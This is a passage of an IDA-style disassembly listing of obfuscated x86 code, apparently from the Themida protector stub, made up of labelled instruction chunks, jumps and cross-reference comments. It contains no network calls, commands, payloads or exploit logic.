; END OF FUNCTION CHUNK	FOR sub_595387
; ---------------------------------------------------------------------------


loc_58CACD:				; CODE XREF: Themida_:0058E75Aj
		add	edi, 4795759Fh
		add	edi, 577546BEh
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58FDF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58CAE5:				; CODE XREF: sub_58E66C+582Ej
		sub	eax, 4E749D1h
		jnb	loc_58EAA6
		shr	eax, 7
		jnz	loc_594C3E
		mov	dl, dl
		push	eax
; END OF FUNCTION CHUNK	FOR sub_58E66C
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CAFC:				; CODE XREF: sub_596082-93F0j
		and	ebx, edx
		pop	edx
		and	ebx, 9934A75h
		sub	ebx, 8443DD3Fh
		sub	edi, ebx
		push	[esp+1Ch+var_1C]
		pop	ebx
		add	esp, 4
		std
		jmp	loc_596561
; ---------------------------------------------------------------------------


loc_58CB1A:				; CODE XREF: sub_596082-6CE9j
		neg	edx
		xor	edx, 4C24A583h
		jmp	loc_58DCFE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C36D


loc_58CB27:				; CODE XREF: sub_58C36D+8D5j
		xor	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ax
		jmp	loc_58F67C
; END OF FUNCTION CHUNK	FOR sub_58C36D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592153


loc_58CB34:				; CODE XREF: sub_592153-5A18j
		mov	esi, [esp+4+var_4]
		add	esp, 4
		pop	dword ptr [esp+0]
		jmp	loc_58CE86
; END OF FUNCTION CHUNK	FOR sub_592153
; ---------------------------------------------------------------------------


loc_58CB42:				; CODE XREF: Themida_:0058CFB0j
		mov	ecx, 4
		add	edi, 39634Dh
		add	edi, ecx
		jmp	loc_58CF86
; ---------------------------------------------------------------------------


loc_58CB54:				; CODE XREF: Themida_:0058D50Ej
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	ax, [esp]
		push	6438h
		mov	[esp], eax
		push	esp
		pop	eax
		push	edi
		push	48974DEAh
		pop	edi
		push	esi
		jmp	loc_595F9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CB7A:				; CODE XREF: sub_596082-5CAj
		push	esi
		push	[esp+1Ch+var_18]
		mov	esi, [esp+20h+var_20]
		jmp	loc_59760A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58CB87:				; CODE XREF: sub_58E66C+7F3Bj
		and	eax, 3E00516Fh
		xor	eax, 3CBA5F0Dh
		and	edx, eax
		pop	eax
		xor	edx, 687C4D0Eh
		add	ebp, edx
		jmp	loc_590054
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58CBA1:				; CODE XREF: Themida_:0059541Ej
		inc	ecx
		not	ecx
		jmp	loc_59169A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CBA9:				; CODE XREF: sub_596082-9B11j
		jmp	loc_58D74F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58CBAE:				; CODE XREF: Themida_:0058CDE6j
					; sub_58E66C+5DC6j
		mov	[esp+4+var_4], eax
		mov	al, 98h
		xor	al, 0B4h
		add	al, 9Ch
		add	al, 68h
		dec	al
		push	edx
		mov	dl, 60h
		xor	al, dl
		pop	edx
		push	edx
		mov	dh, 0Bh
		xor	al, dh
		jmp	loc_597364
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58CBCB:				; CODE XREF: Themida_:0058CD28j
		pop	esp
		mov	[esp], dx
		push	eax
		mov	ah, 0BFh
		sub	ah, 14h
		push	ebx
		mov	bl, ah
		mov	dl, bl
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		add	al, dl
		mov	dx, [esp]
		jmp	loc_58CC58
; ---------------------------------------------------------------------------


loc_58CBED:				; CODE XREF: Themida_:0058BDCBj
		neg	ebx
		sub	ebx, 0CF2703F4h
		push	0
		sub	[esp], ebx
		jmp	loc_58C8E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_58CC02:				; CODE XREF: sub_596B50-8293j
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		jmp	loc_59481F
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------


loc_58CC1C:				; CODE XREF: Themida_:0059055Bj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58E692
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C36D


loc_58CC2A:				; CODE XREF: sub_58C36D+18j
		sub	eax, 523E27B7h
		pop	ebp
		sub	eax, ebp
		push	ebx
		mov	ebx, 10B645C3h
		sub	eax, ebx
		pop	ebx
		pop	ebp
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		jmp	loc_58CB27
; END OF FUNCTION CHUNK	FOR sub_58C36D

; =============== S U B	R O U T	I N E =======================================



sub_58CC47	proc near		; CODE XREF: sub_596082-92CDj

; FUNCTION CHUNK AT 0058EF70 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596491 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp+0]
		jmp	loc_58EF70
sub_58CC47	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58CC58:				; CODE XREF: Themida_:0058CBE8j
		add	esp, 2
		push	ecx
		mov	cl, 0Ah
		push	eax
		mov	al, 25h
		add	al, 2Eh
		shl	al, 4
		xor	al, 68h
		or	al, 0A3h
		sub	al, 0C8h
		add	cl, al
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58C8CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59614F


loc_58CC7A:				; CODE XREF: sub_59614F+2Ej
		pop	edx
		sub	esi, 1C480533h
		push	ebx
		mov	ebx, 20h
		jmp	loc_595B0A
; END OF FUNCTION CHUNK	FOR sub_59614F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CC8C:				; CODE XREF: sub_596082-1A9Bj
		add	edx, 0A2328945h
		jmp	loc_58CAFC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58CC97:				; CODE XREF: Themida_:0058FC22j
		pop	edx
		jmp	loc_58AEBC
; ---------------------------------------------------------------------------


loc_58CC9D:				; CODE XREF: Themida_:0059444Fj
		dec	dx
		dec	dx
		sub	dx, 0AC65h
		mov	cx, dx
		jmp	loc_594887
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_58CCAE:				; CODE XREF: sub_58D2AA+4CECj
		add	ebx, ebp
		jmp	loc_58E8A7
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------


loc_58CCB5:				; CODE XREF: Themida_:005958F7j
		mov	[esp], ecx
		push	eax
		mov	eax, 6AE55D0h
		mov	ecx, 1AF46BFDh
		jmp	loc_597551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_58CCC8:				; CODE XREF: sub_594F3F+2482j
		push	cx
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_58CCD0:				; CODE XREF: Themida_:00590B39j
		xor	eax, 6DBB39F6h
		js	loc_58F35F
		sub	eax, 5C0E76E0h
		jmp	loc_58C0F7
; ---------------------------------------------------------------------------


loc_58CCE5:				; CODE XREF: Themida_:00594688j
		mov	[esp], eax
		push	esp
		jmp	loc_58AB0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597088


loc_58CCEE:				; CODE XREF: sub_597088+20j
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		jmp	loc_595270
; END OF FUNCTION CHUNK	FOR sub_597088
; ---------------------------------------------------------------------------


loc_58CCF8:				; CODE XREF: Themida_:005966C8j
		xor	al, bl
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 2
		sub	eax, 2F4973B5h
		sub	eax, 27C2350Bh
		sub	eax, ebp
		add	eax, 27C2350Bh
		add	eax, 2F4973B5h
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58CBCB
; ---------------------------------------------------------------------------


loc_58CD2D:				; CODE XREF: Themida_:005919C6j
		add	esp, 4
		push	esi
		mov	esi, 2
		jmp	loc_58AAFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D112


loc_58CD3B:				; CODE XREF: sub_58D112+2F17j
		mov	ch, 0A7h
		xor	bh, ch
		pop	cx
		sub	al, bh
		pop	ebx
		jmp	loc_58EBB9
; END OF FUNCTION CHUNK	FOR sub_58D112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58CD49:				; CODE XREF: sub_596498-AD9Cj
		mov	eax, 4
		add	ebp, 1F784856h
		jmp	loc_58CA98
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_58CD59:				; CODE XREF: Themida_:0058E5FBj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		div	ecx
		jmp	loc_592FDC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58CD7A:				; CODE XREF: Themida_:00590A08j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58CD7F:				; CODE XREF: Themida_:0058EFA1j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7154599Bh
		jmp	loc_58F9FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D112


loc_58CD92:				; CODE XREF: sub_58D112+A034j
		mov	cl, 50h
		mov	bh, cl
		pop	ecx
		jmp	loc_5944BE
; END OF FUNCTION CHUNK	FOR sub_58D112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58CD9C:				; CODE XREF: sub_58E66C-103Bj
		pop	ebp
		jmp	loc_596932
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58CDA2:				; CODE XREF: sub_591C99-2754j
		jmp	loc_590A24
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58CDA7:				; CODE XREF: Themida_:00593F1Aj
		add	eax, ecx
		pop	ecx
		jmp	loc_592A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CDAF:				; CODE XREF: sub_596082-50ACj
		add	edx, 4
		jmp	sub_58CC47
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58CDBA:				; CODE XREF: Themida_:0058F0A3j
					; sub_58F160+199Cj
		add	edx, 4
		jmp	sub_5977F3
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58CDC5:				; CODE XREF: Themida_:00593D1Dj
		xchg	eax, [esp]
		jmp	loc_5977A3
; ---------------------------------------------------------------------------


loc_58CDCD:				; CODE XREF: Themida_:00594EB3j
		inc	dl
		jz	loc_591FA6
		jmp	loc_58F6D3
; ---------------------------------------------------------------------------


loc_58CDDA:				; CODE XREF: Themida_:0058F778j
		add	esp, 4
		shl	ch, 2
		and	ch, 0Eh
		sub	esp, 4
		jmp	loc_58CBAE
; ---------------------------------------------------------------------------


loc_58CDEB:				; CODE XREF: Themida_:00591793j
		add	esp, 4
		sub	eax, ecx
		jmp	loc_596280
; ---------------------------------------------------------------------------


loc_58CDF5:				; CODE XREF: Themida_:0058E550j
		sub	esi, eax
		sub	esi, 2FD92F7Eh
		jmp	loc_596967
; ---------------------------------------------------------------------------


loc_58CE02:				; CODE XREF: Themida_:0059290Cj
		add	esp, 4
		add	esi, 0B43521CFh
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_590BB4
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_58D088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E600


loc_58CE1E:				; CODE XREF: sub_58E600+7854j
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		jmp	loc_596635
; END OF FUNCTION CHUNK	FOR sub_58E600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58CE29:				; CODE XREF: sub_58E66C-335Dj
		shl	edx, 4
		jnp	loc_595634
		add	edx, 8A5A9AF4h
		jmp	loc_595B0A
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB60


loc_58CE3D:				; CODE XREF: sub_58DB60+794Ej
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	esi
		push	ebx
		mov	ebx, 464F296Dh
		mov	esi, ebx
		pop	ebx
		jmp	loc_58EFD8
; END OF FUNCTION CHUNK	FOR sub_58DB60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CE50:				; CODE XREF: sub_596082+C73j
		add	ch, 0FFh
		or	ch, 29h
		add	ch, 75h
		jmp	loc_5934D8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58CE5E:				; CODE XREF: Themida_:00590166j
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_591241
; ---------------------------------------------------------------------------


loc_58CE6A:				; CODE XREF: Themida_:0058DD3Bj
		mov	[esp], ecx
		jmp	loc_595BC0

; =============== S U B	R O U T	I N E =======================================



sub_58CE72	proc near		; CODE XREF: sub_594239-26F9j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058C518 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EADA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594F72 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596E59 SIZE 0000002C BYTES

		push	ebx
		mov	ebx, 25DA0D5Ch
		add	edx, ebx
		pop	ebx
		xor	edx, 229C6F1Dh
		jmp	loc_594F72
sub_58CE72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592153


loc_58CE86:				; CODE XREF: sub_592153-5616j
		pop	esp
		mov	[esp-8+arg_4], dx
		push	ax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_592153
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58CE93:				; CODE XREF: sub_58C878+6A9j
		pop	edx
		add	esp, 4


loc_58CE9A:				; CODE XREF: sub_58E66C+42C3j
		push	7F2Ah
		jmp	loc_596D70
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E1BA


loc_58CEA4:				; CODE XREF: Themida_:00592705j
					; sub_58E1BA+82C0j
		sub	esi, 5B2B16E9h
		add	esi, eax
		add	esi, 5B2B16E9h
		pop	eax
		sub	esi, 26BB2377h
		add	esi, ebp
		add	esi, 26BB2377h
		sub	esi, 7AB443C8h
		pop	ebp
		sub	esp, 4
		mov	[esp+0], ecx
		push	esp
		pop	ecx
		push	39ADh
		mov	[esp+4+var_4], eax
		jmp	loc_5960C3
; END OF FUNCTION CHUNK	FOR sub_58E1BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CEDD:				; CODE XREF: sub_596082-9038j
		add	esp, 4
		and	eax, edi
		push	[esp+1Eh+var_20+2]
		pop	edi
		push	14C5h
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	33E4h
		mov	[esp+0], eax
		xchg	ebp, [esp+0]
		jmp	sub_59236E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_593F82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58CF1E:				; CODE XREF: sub_59236E-5B4Fj
					; sub_58C878+5B90j ...
		push	[esp+0Ah+var_A]
		jmp	loc_58CE93
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_58CF26:				; CODE XREF: Themida_:0058D10Dj
		sub	esp, 4
		jmp	loc_58E72E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CF31:				; CODE XREF: sub_596082:loc_58ADDAj
		xor	cx, 50A1h
		ja	loc_58D599
		or	cx, 30F9h
		add	cx, 4839h


loc_58CF46:				; CODE XREF: sub_593983-753Dj
		add	eax, 4E992737h
		jmp	loc_5925CC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58CF50:				; CODE XREF: Themida_:0058F103j
		pop	edx
		jmp	loc_58F8FD
; ---------------------------------------------------------------------------


loc_58CF56:				; CODE XREF: Themida_:0058E5C3j
		jns	loc_58FAA5
		jmp	loc_58F974
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 0EEh
		add	dl, 13h
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58CF68:				; CODE XREF: sub_58E66C-1E13j
					; sub_591C99+824j
		push	eax
		mov	eax, 10046660h
		jmp	loc_593B80
; ---------------------------------------------------------------------------


loc_58CF73:				; CODE XREF: sub_58E66C+3A8Aj
		mov	esp, [esp+0Eh+var_10+2]
		jmp	loc_58A9B9
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58CF7B:				; CODE XREF: Themida_:005946A2j
		xor	ebp, 112A64C6h
		jmp	loc_593F3E
; ---------------------------------------------------------------------------


loc_58CF86:				; CODE XREF: Themida_:0058CB4Fj
		sub	edi, 39634Dh
		pop	ecx
		add	edi, 4
		push	edi
		jmp	loc_590D14
; ---------------------------------------------------------------------------


loc_58CF96:				; CODE XREF: Themida_:0058BA69j
		add	esp, 4
		jmp	loc_594BF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CFA1:				; CODE XREF: Themida_:0058B3C8j
					; sub_596082+1362j
		mov	esi, 664B42D7h
		sub	ecx, esi
		jmp	loc_58C7BB
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58CFAD:				; CODE XREF: Themida_:0058E53Dj
		mov	[esp], ecx
		jmp	loc_58CB42
; ---------------------------------------------------------------------------


loc_58CFB5:				; CODE XREF: Themida_:00595A55j
		sub	eax, edi
		push	ebp
		mov	ebp, 0AFA78EBh
		jmp	loc_58ABF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58CFC2:				; CODE XREF: sub_596082-3B8Cj
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0Ch+var_C]
		jmp	loc_592813
; ---------------------------------------------------------------------------


loc_58CFDE:				; CODE XREF: sub_596082-386Cj
		xor	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	sub_5917EE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_58CFE7:				; CODE XREF: sub_59425A+31FFj
		add	edi, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		add	edi, 2
		jmp	loc_59046F
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_58CFFD:				; CODE XREF: sub_594EC6+6FCj
		push	edi
		jmp	loc_59376B
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58D003:				; CODE XREF: sub_58F160+52B6j
		sub	eax, 5F446880h
		pop	esi
		jmp	loc_58F110
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58D00E:				; CODE XREF: Themida_:00596A8Cj
		sub	edi, 6A66743Bh
		add	edi, 0AE75BC24h
		sub	ebp, edi
		jmp	loc_593F5F
; ---------------------------------------------------------------------------


loc_58D021:				; CODE XREF: Themida_:005973D3j
		mov	ebx, edx
		jmp	loc_58B735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_58D028:				; CODE XREF: sub_59236E-71ABj
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59654D
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------


loc_58D036:				; CODE XREF: Themida_:00596DD3j
		push	esi
		mov	esi, 22A321B3h
		add	esi, 0FC245787h
		jmp	loc_58E555
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D047:				; CODE XREF: sub_596082-8558j
					; Themida_:00593F44j
		mov	eax, [esp+8+var_8]
		jmp	loc_58CEDD
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D04F:				; CODE XREF: sub_58E66C+5873j
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_593200
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_58D05A:				; CODE XREF: sub_58A5F7+BC2Dj
		mov	[esp+0], ecx
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		jmp	loc_5954D2
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D068:				; CODE XREF: sub_596082+15F5j
		sub	[esp+8+var_4], edi
		pop	edi
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	eax, 32232C19h
		jmp	loc_58E6AC
; ---------------------------------------------------------------------------


loc_58D080:				; CODE XREF: sub_596082-3AEEj
		mov	ebp, [esp+0]
		jmp	loc_58D351
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D088:				; CODE XREF: Themida_:0058CE19j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58D08D:				; CODE XREF: Themida_:0058AC7Dj
					; sub_593009+5A9j
		mov	edx, [esp+0]
		add	esp, 4
		xchg	ebx, [esp+0]
		pop	esp
		xor	ebx, eax
		push	ecx
		jmp	loc_59594F
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D09F:				; CODE XREF: sub_596082+CC0j
		jmp	loc_595B8B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D0A4:				; CODE XREF: Themida_:loc_58FAA5j
		shl	eax, 3
		jz	loc_593D5D
		jmp	loc_58D64A
; ---------------------------------------------------------------------------


loc_58D0B2:				; CODE XREF: Themida_:0058AC65j
		pop	ebp
		jmp	loc_590F5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58D0B8:				; CODE XREF: sub_596498-29C5j
		add	esi, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		sub	ebx, 4485756Bh
		add	ebx, esi
		jmp	loc_5916A8
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A4E


loc_58D0D0:				; CODE XREF: sub_594930+Bj
					; sub_592A4E+2DF8j
		add	esp, 4
		jmp	loc_58EAF0
; END OF FUNCTION CHUNK	FOR sub_592A4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_58D0D8:				; CODE XREF: sub_58D6A0+Dj
					; sub_596BC4-4488j
		shr	edi, 4
		xor	edi, 5A4F90B1h
		mov	ecx, edi
		pop	edi
		jmp	loc_58E217
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------


loc_58D0E9:				; CODE XREF: Themida_:0058C5D4j
		mov	edi, [esp]
		jmp	loc_58C45F
; ---------------------------------------------------------------------------


loc_58D0F1:				; CODE XREF: Themida_:0058BC63j
		add	eax, 59882987h
		sub	eax, 43B0939h
		add	eax, ecx
		add	eax, 43B0939h
		sub	eax, 59882987h
		pop	ecx
		sub	eax, 283B5682h
		jmp	loc_58CF26

; =============== S U B	R O U T	I N E =======================================



sub_58D112	proc near		; CODE XREF: sub_591C99-5E3Cj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0058C213 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CD3B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CD92 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E62A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EBB9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00590024 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592919 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005944BE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597132 SIZE 00000019 BYTES

		push	ebx
		jmp	loc_592919
sub_58D112	endp

; ---------------------------------------------------------------------------


loc_58D118:				; CODE XREF: Themida_:0058A651j
		push	5AB2h
		jmp	loc_58BF2E
; ---------------------------------------------------------------------------


loc_58D122:				; CODE XREF: Themida_:00596144j
		jmp	loc_593F9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D127:				; CODE XREF: Themida_:0058AC96j
					; sub_596082-4480j
		add	ecx, ebx
		jmp	loc_58C0AF
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58D12E:				; CODE XREF: Themida_:0058D87Aj
		jmp	loc_58A4F0

; =============== S U B	R O U T	I N E =======================================



sub_58D133	proc near		; CODE XREF: sub_58C4A4+488Bj

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058D396 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059047A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591487 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596F3D SIZE 00000009 BYTES

		push	ebx
		jmp	loc_59047A
sub_58D133	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58D139:				; CODE XREF: sub_58E91C+49BEj
		pop	ebx
		jmp	loc_58EE69
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58D13F:				; CODE XREF: sub_58E66C+5D13j
		sub	edi, ebx
		pop	ebx
		add	edx, edi
		pop	edi
		jmp	loc_596718
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58D14A:				; CODE XREF: Themida_:00590A95j
		push	ebp
		push	47981A0Dh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	ebp, 70AE751Bh
		add	ebp, 2F38CB90h
		xor	edi, ebp
		pop	ebp
		jmp	loc_58DCA9
; ---------------------------------------------------------------------------


loc_58D16E:				; CODE XREF: Themida_:loc_590F41j
		xor	eax, 7424646Ah
		jbe	loc_5962A9
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 73C61DE7h
		neg	ecx
		sub	ecx, 0C449EBFDh
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, eax
		push	dword ptr [esp]
		jmp	loc_593784
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D1A4:				; CODE XREF: sub_596082+1752j
		mov	ecx, 4D332998h
		neg	ecx
		jmp	loc_59638D
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58D1B0:				; CODE XREF: sub_596498-4DF5j
		push	ecx
		mov	ecx, 71BB2264h
		jmp	loc_58FAE2
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58D1BB:				; CODE XREF: sub_596082-2AEFj
		mov	dl, 0B9h
		add	al, 8Fh
		add	al, dl
		sub	al, 8Fh
		mov	dx, [esp+0]
		add	esp, 2
		xchg	dl, al
		not	dl
		xchg	dl, al
		add	al, 0A3h
		mov	cl, al
		jmp	loc_593602
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59447B


loc_58D1D9:				; CODE XREF: sub_59447B+E91j
		mov	word ptr [esp+0Ch+var_C], dx
